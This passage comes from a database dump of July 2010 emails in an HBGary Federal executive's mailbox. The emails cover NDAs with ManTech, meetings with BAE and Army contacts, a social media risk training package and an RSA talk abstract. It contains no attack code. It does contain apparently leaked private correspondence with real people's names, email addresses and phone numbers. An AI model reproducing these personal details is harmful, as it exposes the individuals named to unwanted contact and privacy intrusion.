Turner\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n',723,'aaron_hbgary_com/723.html'),(8336,'2010-07-09','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297006466.M551630P14101Q3191.eml','aaron@hbgary.com,aaron@hbgary.com,','RE: ManTech--HB Gary--Gatorbait Opportunity--NDA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGood afternoon.&nbsp; Thank you for\r\nsending back the NDA with your signature.&nbsp; Please see the attached executed\r\nversion.&nbsp; Let me know if you have any questions.\r\n\r\n&nbsp;\r\n\r\nThank you.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott, Stephen D \r\nSent: Thursday, July 08, 2010 3:39 PM\r\nTo: \'aaron@hbgary.com\'\r\nCc: Hull, Wayne A; Stewart, Brad\r\nSubject: ManTech--HB Gary--Gatorbait Opportunity--NDA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMr. Barr,\r\n\r\n&nbsp;\r\n\r\nGood afternoon.\r\n\r\n&nbsp; \r\n\r\nAttached you\r\nwill find our standard Non-Disclosure Agreement to discuss teaming with ManTech\r\non the Gatorbait effort.&nbsp; Please review it, sign it, and return it back to\r\nme.&nbsp; A fully executed agreement will then be sent to you.&nbsp; If you\r\nbelieve changes need to be made, please let me know your suggested\r\nchanges.&nbsp; I can send you a word copy and you can turn on &#8220;track changes&#8221; to\r\nhelp speed the process.\r\n\r\n&nbsp;\r\n\r\nPlease email or\r\ncall if you have any questions.&nbsp; Thank you for your help.\r\n\r\n&nbsp;&nbsp; \r\n\r\nBest Regards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1328,'aaron_hbgary_com/1328.html'),(8337,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006466.M834994P14101Q3192.eml','\"Turner, Stephen W CPT MIL USA\" <stephen.w.turner@us.army.mil>,\"Turner, Stephen W CPT MIL USA\" <stephen.w.turner@us.army.mil>,','Re: Training (UNCLASSIFIED)','Thanks CPT Stephen.\r\n\r\nI am happy to come back and discuss our social media and malware capabilities and training programs.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 9, 2010, at 12:29 PM, \"Turner, Stephen W CPT MIL USA\"  wrote:\r\n\r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n> \r\n> Ma\'am,\r\n>   Just reminding you that if you\'re still looking for some good\r\n> training opportunities, Mr. Barr can really help us. He is CCed above.\r\n> SFC Sandoval has spoken with him as well. \r\n> \r\n> V/R\r\n> \r\n> CPT Steve Turner\r\n> \r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n> \r\n> \r\n',7539,'aaron_hbgary_com/7539.html'),(8338,'2010-07-09','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297006467.M298310P14101Q3194.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Discussions','Aaron,\r\n\r\nAaron, I think that would be a great idea. I will ask Tiffanny to join\r\nus. Larry is out next week, but we could arrange a follow-up meeting\r\nlater on also.\r\n\r\nTuesday would be better for me if that would work for you and Penny.\r\n\r\nI am in a killer meeting all day long but would jump at the opportunity\r\nfor a break. Is there a good time for you?\r\n\r\nThanks,  Bill\r\n\r\nBill Varner\r\nPresident\r\nMission, Cyber & Technology Solutions Group\r\nManTech International Corporation\r\nOffice: (703) 674-2778 l Mobile: (703) 475-7909\r\nEmail: Bill.Varner@Mantech.com \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 09, 2010 12:13 PM\r\nTo: Varner, Bill\r\nSubject: HBGary Discussions\r\n\r\nBill,\r\n\r\nVery quick but a target of opportunity.  Penny Hoglund, the President\r\nand primary owner of HBGary, Inc. will be out this way Monday and\r\nTuesday of next week if you have an opportunity to get together briefly\r\nto discuss the company and the possibilities related to investment.\r\n\r\nHave a great weekend.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6517,'aaron_hbgary_com/6517.html'),(8339,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006467.M573999P14101Q3195.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: HBGary Discussions','Tuesday 10 or 11am work?AaronSent from my iPhoneBegin forwarded message:From: \"Varner, Bill\" &lt;Bill.Varner@ManTech.com&gt;Date: July 9, 2010 2:12:28 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Cc: \"Briggs, Dana M\" &lt;Dana.Briggs@ManTech.com&gt;Subject: RE: HBGary DiscussionsAaron,Aaron, I think that would be a great idea. I will ask Tiffanny to joinus. Larry is out next week, but we could arrange a follow-up meetinglater on also.Tuesday would be better for me if that would work for you and Penny.I am in a killer meeting all day long but would jump at the opportunityfor a break. Is there a good time for you?Thanks, &nbsp;BillBill VarnerPresidentMission, Cyber &amp; Technology Solutions GroupManTech International CorporationOffice: (703) 674-2778 l Mobile: (703) 475-7909Email: Bill.Varner@Mantech.com -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, July 09, 2010 12:13 PMTo: Varner, BillSubject: HBGary DiscussionsBill,Very quick but a target of opportunity. &nbsp;Penny Hoglund, the Presidentand primary owner of HBGary, Inc. will be out this way Monday andTuesday of next week if you have an opportunity to get together brieflyto discuss the company and the possibilities related to investment.Have a great weekend.Aaron BarrCEOHBGary Federal Inc.',11843,'aaron_hbgary_com/11843.html'),(8340,'2010-07-09','\"Verell, Benefsheh D MAJ MIL USA\" <benef.shamley@us.army.mil>','/aaron@hbgary.com/new/1297006467.M78030P14101Q3193.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office AutoReply: Training (UNCLASSIFIED)','I am out of the office and will return on 19 July.  Please contact CPT Delmar Graves 703-428-4483 or Ms. Amy Bagley 703-428-4817 for assistance.\r\n\r\nv/r MAJ Verell\r\n',8903,'aaron_hbgary_com/8903.html'),(8341,'2010-07-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006467.M805389P14101Q3196.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Asteroid','My contact at ARSTRAT referred BAE to me for help with their Cyber programs.  The current Program is called COSMIC, a multi-year $500M IDIQ contract.  The POP ends next September, the follow-on will be called Asteroid.  I met last week with the current (COSMIC) Program Manager and he is interested in getting us on their current tasks.  We will meet again when he gets back next week from vacation to discuss more details.  \r\nHe set up a meeting between me and their Asteroid Capture Manager.  We met this morning and they would like us on their team.  He is sending us an NDA and draft subcontract agreement.  \r\nGD, NG, and Mantech are all current subs to BAE on COSMIC.  Any one of them may decide to Prime Asteroid.  Recommend we drag our feet a little to find out more from GD,NG, &amp; Mantech, and push for a non-exclusive agreement.\r\nYou can read more about Asteroid here: https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=6829a0a60a469aa659c0fdbe5ec3e4f3&amp;tab=core&amp;tabmode=list&amp;=\r\n-- Ted\r\n\r\n',1045,'aaron_hbgary_com/1045.html'),(8342,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006470.M603121P14101Q3197.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: ManTech--HB Gary--Gatorbait Opportunity--NDA','Sent from my iPadBegin forwarded message:From: &quot;Ott, Stephen D&quot; &lt;Stephen.Ott@ManTech.com&gt;\r\nDate: July 9, 2010 1:11:55 PM EDTTo: &lt;aaron@hbgary.com&gt;Cc: &quot;Hull, Wayne A&quot; &lt;Wayne.Hull@ManTech.com&gt;, &quot;Stewart, Brad&quot; &lt;Brad.Stewart@mantech.com&gt;\r\nSubject: RE: ManTech--HB Gary--Gatorbait Opportunity--NDA\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nGood afternoon.  Thank you for\r\nsending back the NDA with your signature.  Please see the attached executed\r\nversion.  Let me know if you have any questions.\r\n\r\n \r\n\r\nThank you.\r\n\r\n \r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n \r\n\r\n\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n \r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email. \r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.  Thank you.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott, Stephen D \r\n\r\nSent: Thursday, July 08, 2010 3:39 PM\r\nTo: &#39;aaron@hbgary.com&#39;\r\nCc: Hull, Wayne A; Stewart, Brad\r\nSubject: ManTech--HB Gary--Gatorbait Opportunity--NDA\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nMr. Barr,\r\n\r\n \r\n\r\nGood afternoon.\r\n\r\n  \r\n\r\nAttached you\r\nwill find our standard Non-Disclosure Agreement to discuss teaming with ManTech\r\non the Gatorbait effort.  Please review it, sign it, and return it back to\r\nme.  A fully executed agreement will then be sent to you.  If you\r\nbelieve changes need to be made, please let me know your suggested\r\nchanges.  I can send you a word copy and you can turn on “track changes” to\r\nhelp speed the process.\r\n\r\n \r\n\r\nPlease email or\r\ncall if you have any questions.  Thank you for your help.\r\n\r\n   \r\n\r\nBest Regards,\r\n\r\nSteve\r\n\r\n \r\n\r\n \r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n \r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email. \r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.  Thank you.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14894,'aaron_hbgary_com/14894.html'),(8343,'2010-07-09','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006470.M846261P14101Q3198.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: RSA','Should have a draft shortly.  Got a rough version together last night.  \r\nIf you\'ve sent done anything, send it over and I can fold it in.\r\n\r\nOn 7/9/2010 11:59 AM, Aaron Barr wrote:\r\n> Do you have something put together?  Deadline is today.  I was going to whip something up unless your already down the road.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>    \r\n',13467,'aaron_hbgary_com/13467.html'),(8344,'2010-07-09','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297006471.M193684P14101Q3199.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Terell Jones and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJuly 9, 2010\r\n    AFCEA NOVA\r\n    \r\n	      Latest:\r\n	          1 discussion\r\n	      \r\n	      \r\n	        \r\n	      \r\n      \r\n    \r\n\r\n     \r\n      NEW Your LinkedIn groups have a whole new look! Learn more &#187;\r\n    \r\n      \r\n      \r\n    \r\n\r\n      \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Ecomnets - WPC Cruise\r\n        Add a comment  &raquo;\r\n\r\n      Started by Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n        \r\n          \r\n                    Register for the EcomNets WPC Sunset on the the Potomac Cruise! Microsoft and Microsoft Partners Only! Food, drinks, music, scenery, networking! RSVP now, seating limited!\r\n                By Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',15741,'aaron_hbgary_com/15741.html'),(8345,'2010-07-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006471.M501415P14101Q3200.eml','\"Raymond Maier\" <raymond.maier@baesystems.com>,\"Raymond Maier\" <raymond.maier@baesystems.com>,,','Re: Meeting','Hi Joe,Aaron Barr is planning to be in town next week.  Please let us know if you&#39;d be interested in having him over for classified discussions.Regards,Ted\r\nOn Wed, Jul 7, 2010 at 7:56 PM,  &lt;jrcrouse@comcast.net&gt; wrote:\r\nTed,I&#39;ve got the white papers.  See you Friday.JohnSent from my Verizon Wireless BlackBerryFrom:  Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Wed, 7 Jul 2010 14:59:36 -0700To: Maier, Raymond Joe (US SSA) (US ASTSS Huntsville)&lt;raymond.maier@baesystems.com&gt;\r\nCc: jrcrouse@comcast.net&lt;jrcrouse@comcast.net&gt;Subject: Re: Meeting\r\nHi John,I&#39;m in Sacramento till Thur night. I&#39;ll meet you at BAE at 8am Friday. If you need to change the time please email or call me at 719-237-8623. \r\n\r\nI look forward to meeting you. Has Joe provided you copies of the whitepapers I gave him?Regards,Ted On Jul 7, 2010, at 1:47 PM, &quot;Maier, Raymond \\&quot;Joe\\&quot; (US SSA) (US ASTSS Huntsville)&quot;&lt;raymond.maier@baesystems.com&gt; wrote:\r\n\r\n\r\nJohn Crouse7196597175\r\n\r\nJoe Maier\r\n719.235.1898 - Mobile \r\n719.325.8445 - Work\r\n\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nTo: Maier, Raymond &quot;Joe&quot; (US SSA) (US ASTSS Huntsville)\r\nSent: Wed Jul 07 11:54:16 2010Subject: Re: Meeting\r\n\r\nSure. How&#39;s 8:00?On Jul 7, 2010, at 5:31 AM, &quot;Maier, Raymond \\&quot;Joe\\&quot; (US SSA) (US ASTSS Huntsville)&quot;&lt;raymond.maier@baesystems.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\nCan you meet Friday morning (earlier is better)? I will not be available\r\nbut at least one of the BD people will be here.\r\n\r\n \r\n\r\njoe\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nJoe Maier\r\n\r\n719.235.1898 - Mobile\r\n\r\n719.325.8445 - Work\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, 06 July, 2010 02:18 PM\r\nTo: Maier, Raymond &quot;Joe&quot; (US SSA) (US ASTSS Huntsville)\r\nSubject: Re: Meeting\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nJoe, \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMark and I are in Sacramento. Can we do it Friday the 9th?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 6, 2010, at 1:09 PM, &quot;Maier, Raymond \\&quot;Joe\\&quot; (US SSA) (US\r\nASTSS Huntsville)&quot; &lt;raymond.maier@baesystems.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\nOur business\r\ndevelopment leads are in town 08 JUL 10 to discuss an emerging business\r\nopportunity. If you are available, I hope to put you on their calendar.\r\n\r\n \r\n\r\nThanks\r\n\r\njoe\r\n\r\n \r\n\r\n \r\n\r\nJoe Maier\r\n\r\n719.235.1898 -\r\nMobile\r\n\r\n719.325.8445 - Work\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',5838,'aaron_hbgary_com/5838.html'),(8346,'2010-07-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006471.M821943P14101Q3201.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Digital Global','Hi Aaron,I just got a voicemail from Maria.  She said she mentioned to Digital Global that we are developing a Social Media training package and they are very interested.  Maria spent most of her career selling training.  She thinks she could help us out quite a bit if we are willing to pay her commission (which I&#39;m sure we would).\r\nPlease give her a call or send her an email with some details about our social media offering you are developing.  She goes on vacation next week.Ted\r\n\r\n',1356,'aaron_hbgary_com/1356.html'),(8347,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006472.M131742P14101Q3202.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Digital Global','Absolutely we would be willing to provide commission.\r\n\r\nThe training has 5 modules:\r\n1. Familiarization with social media and related technologies\r\n2. Personal and organizational use\r\n3. Risks\r\n4. Vulnerability use cases\r\n5. Legal, policy, and protection\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 9, 2010, at 4:02 PM, Ted Vera  wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> I just got a voicemail from Maria.  She said she mentioned to Digital Global that we are developing a Social Media training package and they are very interested.  Maria spent most of her career selling training.  She thinks she could help us out quite a bit if we are willing to pay her commission (which I\'m sure we would).\r\n> \r\n> Please give her a call or send her an email with some details about our social media offering you are developing.  She goes on vacation next week.\r\n> \r\n> Ted\r\n',15717,'aaron_hbgary_com/15717.html'),(8348,'2010-07-09','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006472.M385299P14101Q3203.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: RSA','\r\n\r\n\r\n  \r\n\r\n\r\nHere is the long (up to 2500 word) abstract.&nbsp; Thoughts?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  Normal\r\n  0\r\n  \r\n  \r\n  \r\n  \r\n  false\r\n  false\r\n  false\r\n  \r\n  EN-US\r\n  X-NONE\r\n  X-NONE\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */\r\n table.MsoNormalTable\r\n	{mso-style-name:\"Table Normal\";\r\n	mso-tstyle-rowband-size:0;\r\n	mso-tstyle-colband-size:0;\r\n	mso-style-noshow:yes;\r\n	mso-style-priority:99;\r\n	mso-style-qformat:yes;\r\n	mso-style-parent:\"\";\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n	mso-para-margin-top:0in;\r\n	mso-para-margin-right:0in;\r\n	mso-para-margin-bottom:10.0pt;\r\n	mso-para-margin-left:0in;\r\n	line-height:115%;\r\n	mso-pagination:widow-orphan;\r\n	font-size:11.0pt;\r\n	font-family:\"Calibri\",\"sans-serif\";\r\n	mso-ascii-font-family:Calibri;\r\n	mso-ascii-theme-font:minor-latin;\r\n	mso-fareast-font-family:\"Times New Roman\";\r\n	mso-fareast-theme-font:minor-fareast;\r\n	mso-hansi-font-family:Calibri;\r\n	mso-hansi-theme-font:minor-latin;}\r\n\r\n\r\nSocial networks, particularly public ones, have\r\nbecome part\r\nof the fabric of how we communicate and collaborate as a society.&nbsp; The rise of the social web, and convergence\r\nof related technologies (e.g., mobile, location based services), has\r\nenabled faster\r\ninformation sharing and quicker feedback cycles across a much broader\r\naudience.&nbsp; By nature of their use, social media\r\nsites\r\ncontain significant amounts of personally identifiable information\r\n(PII). &nbsp;Given their simplicity of use, they also\r\npresent a significant risk of unauthorized disclosure of intellectual\r\nproperty or\r\nother sensitive information.&nbsp; \r\nWith the large number of users on the major social\r\nmedia\r\nsites, it is likely that customers, prospects, partners, suppliers,\r\nconstituents,\r\nand citizens, are already participating in many of these communities.&nbsp; Given the breadth of participation and the\r\nbenefits available, enterprises and government agencies to looking to\r\nleverage\r\nsocial media for gains, however remain hesitant to utilize them because\r\nof\r\ninherent risks in their use.&nbsp; This\r\ninformation is often difficult to manage in a single site, but can\r\npresent even\r\nmore risk when aggregated across multiple platforms, providing\r\nsignificant\r\nexposure to the organization to both people and information.&nbsp; \r\nThis session will discuss the direction of the\r\nsocial web,\r\ndescribe the risks of information exposure to people and organizations\r\nas well\r\nas run through some use cases demonstrating the ease of acquiring\r\nsensitive\r\ninformation by crawling and correlating social media information,\r\nincluding a live\r\ndemonstration of social media reconnaissance.&nbsp;\r\nAfter understanding the main areas of risk to an organization\r\nregarding use\r\nof social media, will we provide mitigation techniques covering people,\r\nprocess\r\nand technology.&nbsp; By managing these risks,\r\norganizations can more comfortably gain the value of these sites, while\r\nprotecting\r\nthe organization and its sensitive information, whether personally\r\nidentifiable\r\nor intellectual property-based.&nbsp;\r\nAttendees will gain knowledge doing risk assessments of social\r\nmedia\r\nuse, risks and mitigation techniques for social media use to prepare\r\nfor more\r\nappropriate adoption.&nbsp; \r\n\r\n\r\nOn 7/9/2010 3:28 PM, David Etue wrote:\r\nShould\r\nhave a draft shortly.&nbsp; Got a rough version together last night.&nbsp; If\r\nyou\'ve sent done anything, send it over and I can fold it in.\r\n  \r\n  \r\nOn 7/9/2010 11:59 AM, Aaron Barr wrote:\r\n  \r\n  Do you have something put together?&nbsp; Deadline\r\nis today.&nbsp; I was going to whip something up unless your already down\r\nthe road.\r\n    \r\n    \r\nAaron Barr\r\n    \r\nCEO\r\n    \r\nHBGary Federal Inc.\r\n    \r\n    \r\n&nbsp;&nbsp; \r\n\r\n\r\n\r\n',16743,'aaron_hbgary_com/16743.html'),(8349,'2010-07-09','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006474.M380039P14101Q3204.eml','\"Aaron Barr\" <aaron@hbgary.com>','Emailing: Call for Speakers Offline 2011 - Leveraging Social Media While Mitigating Risk','Here is what I\'ve got so far in the offline application (word doc).  It \r\nhas the same abstract I sent over in e-mail text.\r\n',2530,'aaron_hbgary_com/2530.html'),(8350,'2010-07-09','\"Trae Stephens\" <tstephens@palantir.com>','/aaron@hbgary.com/new/1297006474.M667180P14101Q3205.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul 10, 	2010 12:30am (msteckman@palantirtech.com)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDone.  Penny is all set.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, July 08, 2010 7:39 PM\r\nTo: Trae Stephens\r\nCc: Matthew Steckman; bob@hbgary.com; Penny Leavy\r\nSubject: Re: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat\r\nJul 10, 2010 12:30am (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks Trae.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny@HBGary.com\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 8, 2010, at 7:25 PM, Trae Stephens &lt;tstephens@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure…I\r\ncan hook them up.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAaron,\r\nI’ll add you now…but I’ll need Penny’s email address to add her.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nTrae’\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\nSent: Thursday, July 08, 2010 6:25 PM\r\nTo: Aaron Barr\r\nCc: bob@hbgary.com; Trae Stephens\r\nSubject: RE: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat\r\nJul 10, 2010 12:30am (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTrae\r\nis the master of the PNL invite list.&nbsp; Trae, can we hook Aaron and Penny\r\nup with RSVPs to PNL?\r\n\r\n&nbsp;\r\n\r\nExcellent\r\nnews on the OSD front.\r\n\r\n&nbsp;\r\n\r\nI am\r\nnot scared!!!! Bob will go down.&nbsp; Can you switch the meeting invite, a\r\nbunch of my colleagues are on it because they all want to see me lose.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, July 08, 2010 4:14 PM\r\nTo: Matthew Steckman\r\nCc: bob@hbgary.com\r\nSubject: Re: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat\r\nJul 10, 2010 12:30am 